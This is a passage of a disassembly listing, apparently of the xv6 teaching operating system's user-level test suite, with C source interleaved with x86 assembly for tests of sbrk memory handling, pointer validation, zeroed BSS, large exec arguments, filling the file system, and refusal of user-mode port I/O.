$0x0 2e96: e8 ae 0a 00 00 call 3949 <sbrk> c = sbrk(-(sbrk(0) - oldbrk)); 2e9b: c7 04 24 00 00 00 00 movl $0x0,(%esp) a = sbrk(0); 2ea2: 89 c6 mov %eax,%esi c = sbrk(-(sbrk(0) - oldbrk)); 2ea4: e8 a0 0a 00 00 call 3949 <sbrk> 2ea9: 89 d9 mov %ebx,%ecx 2eab: 29 c1 sub %eax,%ecx 2ead: 89 0c 24 mov %ecx,(%esp) 2eb0: e8 94 0a 00 00 call 3949 <sbrk> if (c != a) { 2eb5: 83 c4 10 add $0x10,%esp 2eb8: 39 c6 cmp %eax,%esi 2eba: 0f 85 c3 01 00 00 jne 3083 <sbrktest+0x353> for (a = (char *)(KERNBASE); a < (char *)(KERNBASE + 2000000); a += 50000) { 2ec0: be 00 00 00 80 mov $0x80000000,%esi ppid = getpid(); 2ec5: e8 77 0a 00 00 call 3941 <getpid> 2eca: 89 c7 mov %eax,%edi pid = fork(); 2ecc: e8 e8 09 00 00 call 38b9 <fork> if (pid < 0) { 2ed1: 85 c0 test %eax,%eax 2ed3: 0f 88 93 01 00 00 js 306c <sbrktest+0x33c> if (pid == 0) { 2ed9: 0f 84 6b 01 00 00 je 304a <sbrktest+0x31a> for (a = (char *)(KERNBASE); a < (char *)(KERNBASE + 2000000); a += 50000) { 2edf: 81 c6 50 c3 00 00 add $0xc350,%esi wait(); 2ee5: e8 df 09 00 00 call 38c9 <wait> for (a = (char *)(KERNBASE); a < (char *)(KERNBASE + 2000000); a += 50000) { 2eea: 81 fe 80 84 1e 80 cmp $0x801e8480,%esi 2ef0: 75 d3 jne 2ec5 <sbrktest+0x195> if (pipe(fds) != 0) { 2ef2: 8d 45 b8 lea -0x48(%ebp),%eax 2ef5: 83 ec 0c sub $0xc,%esp 2ef8: 50 push %eax 2ef9: e8 d3 09 00 00 call 38d1 <pipe> 2efe: 83 c4 10 add $0x10,%esp 2f01: 85 c0 test %eax,%eax 2f03: 0f 85 2e 01 00 00 jne 3037 <sbrktest+0x307> 2f09: 8d 7d c0 lea -0x40(%ebp),%edi 2f0c: 89 fe mov %edi,%esi 2f0e: eb 23 jmp 2f33 <sbrktest+0x203> if (pids[i] != -1) read(fds[0], &scratch, 1); 2f10: 83 f8 ff cmp $0xffffffff,%eax 2f13: 74 14 je 2f29 <sbrktest+0x1f9> 2f15: 8d 45 b7 lea -0x49(%ebp),%eax 2f18: 83 ec 04 sub $0x4,%esp 2f1b: 6a 01 push $0x1 2f1d: 50 push %eax 2f1e: ff 75 b8 pushl -0x48(%ebp) 2f21: e8 b3 09 00 00 call 38d9 <read> 2f26: 83 c4 10 add $0x10,%esp for (i = 0; i < sizeof(pids) / sizeof(pids[0]); i++) { 2f29: 8d 45 e8 lea -0x18(%ebp),%eax 2f2c: 83 c6 04 add $0x4,%esi 2f2f: 39 c6 cmp %eax,%esi 2f31: 74 4f je 2f82 <sbrktest+0x252> if ((pids[i] = fork()) == 0) { 2f33: e8 81 09 00 00 call 38b9 <fork> 2f38: 85 c0 test %eax,%eax 2f3a: 89 06 mov %eax,(%esi) 2f3c: 75 d2 jne 2f10 <sbrktest+0x1e0> sbrk(BIG - (uint)sbrk(0)); 2f3e: 83 ec 0c sub $0xc,%esp 2f41: 6a 00 push $0x0 2f43: e8 01 0a 00 00 call 3949 <sbrk> 2f48: ba 00 00 40 06 mov $0x6400000,%edx 2f4d: 29 c2 sub %eax,%edx 2f4f: 89 14 24 mov %edx,(%esp) 2f52: e8 f2 09 00 00 call 3949 <sbrk> write(fds[1], "x", 1); 2f57: 83 c4 0c add $0xc,%esp 2f5a: 6a 01 push $0x1 2f5c: 68 11 47 00 00 push $0x4711 2f61: ff 75 bc pushl -0x44(%ebp) 2f64: e8 78 09 00 00 call 38e1 <write> 2f69: 83 c4 10 add $0x10,%esp 2f6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (;;) sleep(1000); 2f70: 83 ec 0c sub $0xc,%esp 2f73: 68 e8 03 00 00 push $0x3e8 2f78: e8 d4 09 00 00 call 3951 <sleep> 2f7d: 83 c4 10 add $0x10,%esp 2f80: eb ee jmp 2f70 <sbrktest+0x240> c = sbrk(4096); 2f82: 83 ec 0c sub $0xc,%esp 2f85: 68 00 10 00 00 push $0x1000 2f8a: e8 ba 09 00 00 call 3949 <sbrk> 2f8f: 83 c4 10 add $0x10,%esp 2f92: 89 45 a4 mov %eax,-0x5c(%ebp) if (pids[i] == -1) continue; 2f95: 8b 07 mov (%edi),%eax 2f97: 83 f8 ff cmp $0xffffffff,%eax 2f9a: 74 11 je 2fad <sbrktest+0x27d> kill(pids[i]); 2f9c: 83 ec 0c sub $0xc,%esp 2f9f: 50 push %eax 2fa0: e8 4c 09 00 00 call 38f1 <kill> wait(); 2fa5: e8 1f 09 00 00 call 38c9 <wait> 2faa: 83 c4 10 add $0x10,%esp 2fad: 83 c7 04 add $0x4,%edi for (i = 0; i < sizeof(pids) / sizeof(pids[0]); i++) { 2fb0: 39 fe cmp %edi,%esi 2fb2: 75 e1 jne 2f95 <sbrktest+0x265> if (c == (char *)0xffffffff) { 2fb4: 83 7d a4 ff cmpl $0xffffffff,-0x5c(%ebp) 2fb8: 74 66 je 3020 <sbrktest+0x2f0> if (sbrk(0) > oldbrk) sbrk(-(sbrk(0) - oldbrk)); 2fba: 83 ec 0c sub $0xc,%esp 2fbd: 6a 00 push $0x0 2fbf: e8 85 09 00 00 call 3949 <sbrk> 2fc4: 83 c4 10 add $0x10,%esp 2fc7: 39 d8 cmp %ebx,%eax 2fc9: 77 3c ja 3007 <sbrktest+0x2d7> printf(stdout, "sbrk test OK\n"); 2fcb: 83 ec 08 sub $0x8,%esp 2fce: 68 50 4c 00 00 push $0x4c50 2fd3: ff 35 a8 5e 00 00 pushl 0x5ea8 2fd9: e8 82 0a 00 00 call 3a60 <printf> } 2fde: 83 c4 10 add $0x10,%esp 2fe1: 8d 65 f4 lea -0xc(%ebp),%esp 2fe4: 5b pop %ebx 2fe5: 5e pop %esi 2fe6: 5f pop %edi 2fe7: 5d pop %ebp 2fe8: c3 ret printf(stdout, "sbrk test failed %d %x %x\n", i, a, b); 2fe9: 83 ec 0c sub $0xc,%esp 2fec: 50 push %eax 2fed: 56 push %esi 2fee: 57 push %edi 2fef: 68 b3 4b 00 00 push $0x4bb3 2ff4: ff 35 a8 5e 00 00 pushl 0x5ea8 2ffa: e8 61 0a 00 00 call 3a60 <printf> exit(); 2fff: 83 c4 20 add $0x20,%esp 3002: e8 ba 08 00 00 call 38c1 <exit> if (sbrk(0) > oldbrk) sbrk(-(sbrk(0) - oldbrk)); 3007: 83 ec 0c sub $0xc,%esp 300a: 6a 00 push $0x0 300c: e8 38 09 00 00 call 3949 <sbrk> 3011: 29 c3 sub %eax,%ebx 3013: 89 1c 24 mov %ebx,(%esp) 3016: e8 2e 09 00 00 call 3949 <sbrk> 301b: 83 c4 10 add $0x10,%esp 301e: eb ab jmp 2fcb <sbrktest+0x29b> printf(stdout, "failed sbrk leaked memory\n"); 3020: 50 push %eax 3021: 50 push %eax 3022: 68 35 4c 00 00 push $0x4c35 3027: ff 35 a8 5e 00 00 pushl 0x5ea8 302d: e8 2e 0a 00 00 call 3a60 <printf> exit(); 3032: e8 8a 08 00 00 call 38c1 <exit> printf(1, "pipe() failed\n"); 3037: 52 push %edx 3038: 52 push %edx 3039: 68 f1 40 00 00 push $0x40f1 303e: 6a 01 push $0x1 3040: e8 1b 0a 00 00 call 3a60 <printf> exit(); 3045: e8 77 08 00 00 call 38c1 <exit> printf(stdout, "oops could read %x = %x\n", a, *a); 304a: 0f be 06 movsbl (%esi),%eax 304d: 50 push %eax 304e: 56 push %esi 304f: 68 1c 4c 00 00 push $0x4c1c 3054: ff 35 a8 5e 00 00 pushl 0x5ea8 305a: e8 01 0a 00 00 call 3a60 <printf> kill(ppid); 305f: 89 3c 24 mov %edi,(%esp) 3062: e8 8a 08 00 00 call 38f1 <kill> exit(); 3067: e8 55 08 00 00 call 38c1 <exit> printf(stdout, "fork failed\n"); 306c: 51 push %ecx 306d: 51 push %ecx 306e: 68 f9 4c 00 00 push $0x4cf9 3073: ff 35 a8 5e 00 00 pushl 0x5ea8 3079: e8 e2 09 00 00 call 3a60 <printf> exit(); 307e: e8 3e 08 00 00 call 38c1 <exit> printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c); 3083: 50 push %eax 3084: 56 push %esi 3085: 68 fc 53 00 00 push $0x53fc 308a: ff 35 a8 5e 00 00 pushl 0x5ea8 3090: e8 cb 09 00 00 call 3a60 <printf> exit(); 3095: e8 27 08 00 00 call 38c1 <exit> printf(stdout, "sbrk de-allocation didn't really deallocate\n"); 309a: 53 push %ebx 309b: 53 push %ebx 309c: 68 cc 53 00 00 push $0x53cc 30a1: ff 35 a8 5e 00 00 pushl 0x5ea8 30a7: e8 b4 09 00 00 call 3a60 <printf> exit(); 30ac: e8 10 08 00 00 call 38c1 <exit> printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c); 30b1: 57 push %edi 30b2: 56 push %esi 30b3: 68 a4 53 00 00 push $0x53a4 30b8: ff 35 a8 5e 00 00 pushl 0x5ea8 30be: e8 9d 09 00 00 call 3a60 <printf> exit(); 30c3: e8 f9 07 00 00 call 38c1 <exit> printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c); 30c8: 50 push %eax 30c9: 56 push %esi 30ca: 68 6c 53 00 00 push $0x536c 30cf: ff 35 a8 5e 00 00 pushl 0x5ea8 30d5: e8 86 09 00 00 call 3a60 <printf> exit(); 30da: e8 e2 07 00 00 call 38c1 <exit> printf(stdout, "sbrk could not deallocate\n"); 30df: 56 push %esi 30e0: 56 push %esi 30e1: 68 01 4c 00 00 push $0x4c01 30e6: ff 35 a8 5e 00 00 pushl 0x5ea8 30ec: e8 6f 09 00 00 call 3a60 <printf> exit(); 30f1: e8 cb 07 00 00 call 38c1 <exit> printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n"); 30f6: 57 push %edi 30f7: 57 push %edi 30f8: 68 2c 53 00 00 push $0x532c 30fd: ff 35 a8 5e 00 00 pushl 0x5ea8 3103: e8 58 09 00 00 call 3a60 <printf> exit(); 3108: e8 b4 07 00 00 call 38c1 <exit> if (pid == 0) exit(); 310d: e8 af 07 00 00 call 38c1 <exit> printf(stdout, "sbrk test failed post-fork\n"); 3112: 50 push %eax 3113: 50 push %eax 3114: 68 e5 4b 00 00 push $0x4be5 3119: ff 35 a8 5e 00 00 pushl 0x5ea8 311f: e8 3c 09 00 00 call 3a60 <printf> exit(); 3124: e8 98 07 00 00 call 38c1 <exit> printf(stdout, "sbrk test fork failed\n"); 3129: 50 push %eax 312a: 50 push %eax 312b: 68 ce 4b 00 00 push $0x4bce 3130: ff 35 a8 5e 00 00 pushl 0x5ea8 3136: e8 25 09 00 00 call 3a60 <printf> exit(); 313b: e8 81 07 00 00 call 38c1 <exit> 00003140 <validateint>: { 3140: 55 push %ebp 3141: 89 e5 mov %esp,%ebp } 3143: 5d pop %ebp 3144: c3 ret 3145: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 3149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00003150 <validatetest>: { 3150: 55 push %ebp 3151: 89 e5 mov %esp,%ebp 3153: 56 push %esi 3154: 53 push %ebx for (p = 0; p <= (uint)hi; p += 4096) { 3155: 31 db xor %ebx,%ebx printf(stdout, "validate test\n"); 3157: 83 ec 08 sub $0x8,%esp 315a: 68 5e 4c 00 00 push $0x4c5e 315f: ff 35 a8 5e 00 00 pushl 0x5ea8 3165: e8 f6 08 00 00 call 3a60 <printf> 316a: 83 c4 10 add $0x10,%esp 316d: 8d 76 00 lea 0x0(%esi),%esi if ((pid = fork()) == 0) { 3170: e8 44 07 00 00 call 38b9 <fork> 3175: 85 c0 test %eax,%eax 3177: 89 c6 mov %eax,%esi 3179: 74 63 je 31de <validatetest+0x8e> sleep(0); 317b: 83 ec 0c sub $0xc,%esp 317e: 6a 00 push $0x0 3180: e8 cc 07 00 00 call 3951 <sleep> sleep(0); 3185: c7 04 24 00 00 00 00 movl $0x0,(%esp) 318c: e8 c0 07 00 00 call 3951 <sleep> kill(pid); 3191: 89 34 24 mov %esi,(%esp) 3194: e8 58 07 00 00 call 38f1 <kill> wait(); 3199: e8 2b 07 00 00 call 38c9 <wait> if (link("nosuchfile", (char *)p) != -1) { 319e: 58 pop %eax 319f: 5a pop %edx 31a0: 53 push %ebx 31a1: 68 6d 4c 00 00 push $0x4c6d 31a6: e8 76 07 00 00 call 3921 <link> 31ab: 83 c4 10 add $0x10,%esp 31ae: 83 f8 ff cmp $0xffffffff,%eax 31b1: 75 30 jne 31e3 <validatetest+0x93> for (p = 0; p <= (uint)hi; p += 4096) { 31b3: 81 c3 00 10 00 00 add $0x1000,%ebx 31b9: 81 fb 00 40 11 00 cmp $0x114000,%ebx 31bf: 75 af jne 3170 <validatetest+0x20> printf(stdout, "validate ok\n"); 31c1: 83 ec 08 sub $0x8,%esp 31c4: 68 91 4c 00 00 push $0x4c91 31c9: ff 35 a8 5e 00 00 pushl 0x5ea8 31cf: e8 8c 08 00 00 call 3a60 <printf> } 31d4: 83 c4 10 add $0x10,%esp 31d7: 8d 65 f8 lea -0x8(%ebp),%esp 31da: 5b pop %ebx 31db: 5e pop %esi 31dc: 5d pop %ebp 31dd: c3 ret exit(); 31de: e8 de 06 00 00 call 38c1 <exit> printf(stdout, "link should not succeed\n"); 31e3: 83 ec 08 sub $0x8,%esp 31e6: 68 78 4c 00 00 push $0x4c78 31eb: ff 35 a8 5e 00 00 pushl 0x5ea8 31f1: e8 6a 08 00 00 call 3a60 <printf> exit(); 31f6: e8 c6 06 00 00 call 38c1 <exit> 31fb: 90 nop 31fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00003200 <bsstest>: { 3200: 55 push %ebp 3201: 89 e5 mov %esp,%ebp 3203: 83 ec 10 sub $0x10,%esp printf(stdout, "bss test\n"); 3206: 68 9e 4c 00 00 push $0x4c9e 320b: ff 35 a8 5e 00 00 pushl 0x5ea8 3211: e8 4a 08 00 00 call 3a60 <printf> if (uninit[i] != '\0') { 3216: 83 c4 10 add $0x10,%esp 3219: 80 3d 60 5f 00 00 00 cmpb $0x0,0x5f60 3220: 75 39 jne 325b <bsstest+0x5b> for (i = 0; i < sizeof(uninit); i++) { 3222: b8 01 00 00 00 mov $0x1,%eax 3227: 89 f6 mov %esi,%esi 3229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if (uninit[i] != '\0') { 3230: 80 b8 60 5f 00 00 00 cmpb $0x0,0x5f60(%eax) 3237: 75 22 jne 325b <bsstest+0x5b> for (i = 0; i < sizeof(uninit); i++) { 3239: 83 c0 01 add $0x1,%eax 323c: 3d 10 27 00 00 cmp $0x2710,%eax 3241: 75 ed jne 3230 <bsstest+0x30> printf(stdout, "bss test ok\n"); 3243: 83 ec 08 sub $0x8,%esp 3246: 68 b9 4c 00 00 push $0x4cb9 324b: ff 35 a8 5e 00 00 pushl 0x5ea8 3251: e8 0a 08 00 00 call 3a60 <printf> } 3256: 83 c4 10 add $0x10,%esp 3259: c9 leave 325a: c3 ret printf(stdout, "bss test failed\n"); 325b: 83 ec 08 sub $0x8,%esp 325e: 68 a8 4c 00 00 push $0x4ca8 3263: ff 35 a8 5e 00 00 pushl 0x5ea8 3269: e8 f2 07 00 00 call 3a60 <printf> exit(); 326e: e8 4e 06 00 00 call 38c1 <exit> 3273: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 3279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00003280 <bigargtest>: { 3280: 55 push %ebp 3281: 89 e5 mov %esp,%ebp 3283: 83 ec 14 sub $0x14,%esp unlink("bigarg-ok"); 3286: 68 c6 4c 00 00 push $0x4cc6 328b: e8 81 06 00 00 call 3911 <unlink> pid = fork(); 3290: e8 24 06 00 00 call 38b9 <fork> if (pid == 0) { 3295: 83 c4 10 add $0x10,%esp 3298: 85 c0 test %eax,%eax 329a: 74 3f je 32db <bigargtest+0x5b> } else if (pid < 0) { 329c: 0f 88 c2 00 00 00 js 3364 <bigargtest+0xe4> wait(); 32a2: e8 22 06 00 00 call 38c9 <wait> fd = open("bigarg-ok", 0); 32a7: 83 ec 08 sub $0x8,%esp 32aa: 6a 00 push $0x0 32ac: 68 c6 4c 00 00 push $0x4cc6 32b1: e8 4b 06 00 00 call 3901 <open> if (fd < 0) { 32b6: 83 c4 10 add $0x10,%esp 32b9: 85 c0 test %eax,%eax 32bb: 0f 88 8c 00 00 00 js 334d <bigargtest+0xcd> close(fd); 32c1: 83 ec 0c sub $0xc,%esp 32c4: 50 push %eax 32c5: e8 1f 06 00 00 call 38e9 <close> unlink("bigarg-ok"); 32ca: c7 04 24 c6 4c 00 00 movl $0x4cc6,(%esp) 32d1: e8 3b 06 00 00 call 3911 <unlink> } 32d6: 83 c4 10 add $0x10,%esp 32d9: c9 leave 32da: c3 ret 32db: b8 c0 5e 00 00 mov $0x5ec0,%eax args[i] = "bigargs test: failed\n " 32e0: c7 00 20 54 00 00 movl $0x5420,(%eax) 32e6: 83 c0 04 add $0x4,%eax for (i = 0; i < MAXARG - 1; i++) 32e9: 3d 3c 5f 00 00 cmp $0x5f3c,%eax 32ee: 75 f0 jne 32e0 <bigargtest+0x60> printf(stdout, "bigarg test\n"); 32f0: 51 push %ecx 32f1: 51 push %ecx 32f2: 68 d0 4c 00 00 push $0x4cd0 32f7: ff 35 a8 5e 00 00 pushl 0x5ea8 args[MAXARG - 1] = 0; 32fd: c7 05 3c 5f 00 00 00 movl $0x0,0x5f3c 3304: 00 00 00 printf(stdout, "bigarg test\n"); 3307: e8 54 07 00 00 call 3a60 <printf> exec("echo", args); 330c: 58 pop %eax 330d: 5a pop %edx 330e: 68 c0 5e 00 00 push $0x5ec0 3313: 68 9d 3e 00 00 push $0x3e9d 3318: e8 dc 05 00 00 call 38f9 <exec> printf(stdout, "bigarg test ok\n"); 331d: 59 pop %ecx 331e: 58 pop %eax 331f: 68 dd 4c 00 00 push $0x4cdd 3324: ff 35 a8 5e 00 00 pushl 0x5ea8 332a: e8 31 07 00 00 call 3a60 <printf> fd = open("bigarg-ok", O_CREATE); 332f: 58 pop %eax 3330: 5a pop %edx 3331: 68 00 02 00 00 push $0x200 3336: 68 c6 4c 00 00 push $0x4cc6 333b: e8 c1 05 00 00 call 3901 <open> close(fd); 3340: 89 04 24 mov %eax,(%esp) 3343: e8 a1 05 00 00 call 38e9 <close> exit(); 3348: e8 74 05 00 00 call 38c1 <exit> printf(stdout, "bigarg test failed!\n"); 334d: 50 push %eax 334e: 50 push %eax 334f: 68 06 4d 00 00 push $0x4d06 3354: ff 35 a8 5e 00 00 pushl 0x5ea8 335a: e8 01 07 00 00 call 3a60 <printf> exit(); 335f: e8 5d 05 00 00 call 38c1 <exit> printf(stdout, "bigargtest: fork failed\n"); 3364: 52 push %edx 3365: 52 push %edx 3366: 68 ed 4c 00 00 push $0x4ced 336b: ff 35 a8 5e 00 00 pushl 0x5ea8 3371: e8 ea 06 00 00 call 3a60 <printf> exit(); 3376: e8 46 05 00 00 call 38c1 <exit> 337b: 90 nop 337c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00003380 <fsfull>: { 3380: 55 push %ebp 3381: 89 e5 mov %esp,%ebp 3383: 57 push %edi 3384: 56 push %esi 3385: 53 push %ebx for (nfiles = 0;; nfiles++) { 3386: 31 db xor %ebx,%ebx { 3388: 83 ec 54 sub $0x54,%esp printf(1, "fsfull test\n"); 338b: 68 1b 4d 00 00 push $0x4d1b 3390: 6a 01 push $0x1 3392: e8 c9 06 00 00 call 3a60 <printf> 3397: 83 c4 10 add $0x10,%esp 339a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi name[1] = '0' + nfiles / 1000; 33a0: b8 d3 4d 62 10 mov $0x10624dd3,%eax name[3] = '0' + (nfiles % 100) / 10; 33a5: b9 cd cc cc cc mov $0xcccccccd,%ecx printf(1, "writing %s\n", name); 33aa: 83 ec 04 sub $0x4,%esp name[1] = '0' + nfiles / 1000; 33ad: f7 e3 mul %ebx name[0] = 'f'; 33af: c6 45 a8 66 movb $0x66,-0x58(%ebp) name[5] = '\0'; 33b3: c6 45 ad 00 movb $0x0,-0x53(%ebp) name[1] = '0' + nfiles / 1000; 33b7: c1 ea 06 shr $0x6,%edx 33ba: 8d 42 30 lea 0x30(%edx),%eax name[2] = '0' + (nfiles % 1000) / 100; 33bd: 69 d2 e8 03 00 00 imul $0x3e8,%edx,%edx name[1] = '0' + nfiles / 1000; 33c3: 88 45 a9 mov %al,-0x57(%ebp) name[2] = '0' + (nfiles % 1000) / 100; 33c6: 89 d8 mov %ebx,%eax 33c8: 29 d0 sub %edx,%eax 33ca: 89 c2 mov %eax,%edx 33cc: b8 1f 85 eb 51 mov $0x51eb851f,%eax 33d1: f7 e2 mul %edx name[3] = '0' + (nfiles % 100) / 10; 33d3: b8 1f 85 eb 51 mov $0x51eb851f,%eax name[2] = '0' + (nfiles % 1000) / 100; 33d8: c1 ea 05 shr $0x5,%edx 33db: 83 c2 30 add $0x30,%edx 33de: 88 55 aa mov %dl,-0x56(%ebp) name[3] = '0' + (nfiles % 100) / 10; 33e1: f7 e3 mul %ebx 33e3: 89 d8 mov %ebx,%eax 33e5: c1 ea 05 shr $0x5,%edx 33e8: 6b d2 64 imul $0x64,%edx,%edx 33eb: 29 d0 sub %edx,%eax 33ed: f7 e1 mul %ecx name[4] = '0' + (nfiles % 10); 33ef: 89 d8 mov %ebx,%eax name[3] = '0' + (nfiles % 100) / 10; 33f1: c1 ea 03 shr $0x3,%edx 33f4: 83 c2 30 add $0x30,%edx 33f7: 88 55 ab mov %dl,-0x55(%ebp) name[4] = '0' + (nfiles % 10); 33fa: f7 e1 mul %ecx 33fc: 89 d9 mov %ebx,%ecx 33fe: c1 ea 03 shr $0x3,%edx 3401: 8d 04 92 lea (%edx,%edx,4),%eax 3404: 01 c0 add %eax,%eax 3406: 29 c1 sub %eax,%ecx 3408: 89 c8 mov %ecx,%eax 340a: 83 c0 30 add $0x30,%eax 340d: 88 45 ac mov %al,-0x54(%ebp) printf(1, "writing %s\n", name); 3410: 8d 45 a8 lea -0x58(%ebp),%eax 3413: 50 push %eax 3414: 68 28 4d 00 00 push $0x4d28 3419: 6a 01 push $0x1 341b: e8 40 06 00 00 call 3a60 <printf> int fd = open(name, O_CREATE | O_RDWR); 3420: 58 pop %eax 3421: 8d 45 a8 lea -0x58(%ebp),%eax 3424: 5a pop %edx 3425: 68 02 02 00 00 push $0x202 342a: 50 push %eax 342b: e8 d1 04 00 00 call 3901 <open> if (fd < 0) { 3430: 83 c4 10 add $0x10,%esp 3433: 85 c0 test %eax,%eax int fd = open(name, O_CREATE | O_RDWR); 3435: 89 c7 mov %eax,%edi if (fd < 0) { 3437: 78 57 js 3490 <fsfull+0x110> int total = 0; 3439: 31 f6 xor %esi,%esi 343b: eb 05 jmp 3442 <fsfull+0xc2> 343d: 8d 76 00 lea 0x0(%esi),%esi total += cc; 3440: 01 c6 add %eax,%esi int cc = write(fd, buf, 512); 3442: 83 ec 04 sub $0x4,%esp 3445: 68 00 02 00 00 push $0x200 344a: 68 80 86 00 00 push $0x8680 344f: 57 push %edi 3450: e8 8c 04 00 00 call 38e1 <write> if (cc < 512) break; 3455: 83 c4 10 add $0x10,%esp 3458: 3d ff 01 00 00 cmp $0x1ff,%eax 345d: 7f e1 jg 3440 <fsfull+0xc0> printf(1, "wrote %d bytes\n", total); 345f: 83 ec 04 sub $0x4,%esp 3462: 56 push %esi 3463: 68 44 4d 00 00 push $0x4d44 3468: 6a 01 push $0x1 346a: e8 f1 05 00 00 call 3a60 <printf> close(fd); 346f: 89 3c 24 mov %edi,(%esp) 3472: e8 72 04 00 00 call 38e9 <close> if (total == 0) break; 3477: 83 c4 10 add $0x10,%esp 347a: 85 f6 test %esi,%esi 347c: 74 28 je 34a6 <fsfull+0x126> for (nfiles = 0;; nfiles++) { 347e: 83 c3 01 add $0x1,%ebx 3481: e9 1a ff ff ff jmp 33a0 <fsfull+0x20> 3486: 8d 76 00 lea 0x0(%esi),%esi 3489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi printf(1, "open %s failed\n", name); 3490: 8d 45 a8 lea -0x58(%ebp),%eax 3493: 83 ec 04 sub $0x4,%esp 3496: 50 push %eax 3497: 68 34 4d 00 00 push $0x4d34 349c: 6a 01 push $0x1 349e: e8 bd 05 00 00 call 3a60 <printf> break; 34a3: 83 c4 10 add $0x10,%esp name[1] = '0' + nfiles / 1000; 34a6: bf d3 4d 62 10 mov $0x10624dd3,%edi name[2] = '0' + (nfiles % 1000) / 100; 34ab: be 1f 85 eb 51 mov $0x51eb851f,%esi name[1] = '0' + nfiles / 1000; 34b0: 89 d8 mov %ebx,%eax name[3] = '0' + (nfiles % 100) / 10; 34b2: b9 cd cc cc cc mov $0xcccccccd,%ecx unlink(name); 34b7: 83 ec 0c sub $0xc,%esp name[1] = '0' + nfiles / 1000; 34ba: f7 e7 mul %edi name[0] = 'f'; 34bc: c6 45 a8 66 movb $0x66,-0x58(%ebp) name[5] = '\0'; 34c0: c6 45 ad 00 movb $0x0,-0x53(%ebp) name[1] = '0' + nfiles / 1000; 34c4: c1 ea 06 shr $0x6,%edx 34c7: 8d 42 30 lea 0x30(%edx),%eax name[2] = '0' + (nfiles % 1000) / 100; 34ca: 69 d2 e8 03 00 00 imul $0x3e8,%edx,%edx name[1] = '0' + nfiles / 1000; 34d0: 88 45 a9 mov %al,-0x57(%ebp) name[2] = '0' + (nfiles % 1000) / 100; 34d3: 89 d8 mov %ebx,%eax 34d5: 29 d0 sub %edx,%eax 34d7: f7 e6 mul %esi name[3] = '0' + (nfiles % 100) / 10; 34d9: 89 d8 mov %ebx,%eax name[2] = '0' + (nfiles % 1000) / 100; 34db: c1 ea 05 shr $0x5,%edx 34de: 83 c2 30 add $0x30,%edx 34e1: 88 55 aa mov %dl,-0x56(%ebp) name[3] = '0' + (nfiles % 100) / 10; 34e4: f7 e6 mul %esi 34e6: 89 d8 mov %ebx,%eax 34e8: c1 ea 05 shr $0x5,%edx 34eb: 6b d2 64 imul $0x64,%edx,%edx 34ee: 29 d0 sub %edx,%eax 34f0: f7 e1 mul %ecx name[4] = '0' + (nfiles % 10); 34f2: 89 d8 mov %ebx,%eax name[3] = '0' + (nfiles % 100) / 10; 34f4: c1 ea 03 shr $0x3,%edx 34f7: 83 c2 30 add $0x30,%edx 34fa: 88 55 ab mov %dl,-0x55(%ebp) name[4] = '0' + (nfiles % 10); 34fd: f7 e1 mul %ecx 34ff: 89 d9 mov %ebx,%ecx nfiles--; 3501: 83 eb 01 sub $0x1,%ebx name[4] = '0' + (nfiles % 10); 3504: c1 ea 03 shr $0x3,%edx 3507: 8d 04 92 lea (%edx,%edx,4),%eax 350a: 01 c0 add %eax,%eax 350c: 29 c1 sub %eax,%ecx 350e: 89 c8 mov %ecx,%eax 3510: 83 c0 30 add $0x30,%eax 3513: 88 45 ac mov %al,-0x54(%ebp) unlink(name); 3516: 8d 45 a8 lea -0x58(%ebp),%eax 3519: 50 push %eax 351a: e8 f2 03 00 00 call 3911 <unlink> while (nfiles >= 0) { 351f: 83 c4 10 add $0x10,%esp 3522: 83 fb ff cmp $0xffffffff,%ebx 3525: 75 89 jne 34b0 <fsfull+0x130> printf(1, "fsfull test finished\n"); 3527: 83 ec 08 sub $0x8,%esp 352a: 68 54 4d 00 00 push $0x4d54 352f: 6a 01 push $0x1 3531: e8 2a 05 00 00 call 3a60 <printf> } 3536: 83 c4 10 add $0x10,%esp 3539: 8d 65 f4 lea -0xc(%ebp),%esp 353c: 5b pop %ebx 353d: 5e pop %esi 353e: 5f pop %edi 353f: 5d pop %ebp 3540: c3 ret 3541: eb 0d jmp 3550 <uio> 3543: 90 nop 3544: 90 nop 3545: 90 nop 3546: 90 nop 3547: 90 nop 3548: 90 nop 3549: 90 nop 354a: 90 nop 354b: 90 nop 354c: 90 nop 354d: 90 nop 354e: 90 nop 354f: 90 nop 00003550 <uio>: { 3550: 55 push %ebp 3551: 89 e5 mov %esp,%ebp 3553: 83 ec 10 sub $0x10,%esp printf(1, "uio test\n"); 3556: 68 6a 4d 00 00 push $0x4d6a 355b: 6a 01 push $0x1 355d: e8 fe 04 00 00 call 3a60 <printf> pid = fork(); 3562: e8 52 03 00 00 call 38b9 <fork> if (pid == 0) { 3567: 83 c4 10 add $0x10,%esp 356a: 85 c0 test %eax,%eax 356c: 74 1b je 3589 <uio+0x39> } else if (pid < 0) { 356e: 78 3d js 35ad <uio+0x5d> wait(); 3570: e8 54 03 00 00 call 38c9 <wait> printf(1, "uio test done\n"); 3575: 83 ec 08 sub $0x8,%esp 3578: 68 74 4d 00 00 push $0x4d74 357d: 6a 01 push $0x1 357f: e8 dc 04 00 00 call 3a60 <printf> } 3584: 83 c4 10 add $0x10,%esp 3587: c9 leave 3588: c3 ret asm volatile("outb %0,%1" ::"a"(val), "d"(port)); 3589: b8 09 00 00 00 mov $0x9,%eax 358e: ba 70 00 00 00 mov $0x70,%edx 3593: ee out %al,(%dx) asm volatile("inb %1,%0" : "=a"(val) : "d"(port)); 3594: ba 71 00 00 00 mov $0x71,%edx 3599: ec in (%dx),%al printf(1, "uio: uio succeeded; test FAILED\n"); 359a: 52 push %edx 359b: 52 push %edx 359c: 68 00 55 00 00 push $0x5500 35a1: 6a 01 push $0x1 35a3: e8 b8 04 00 00 call 3a60 <printf> exit(); 35a8: e8 14 03 00 00 call 38c1 <exit> 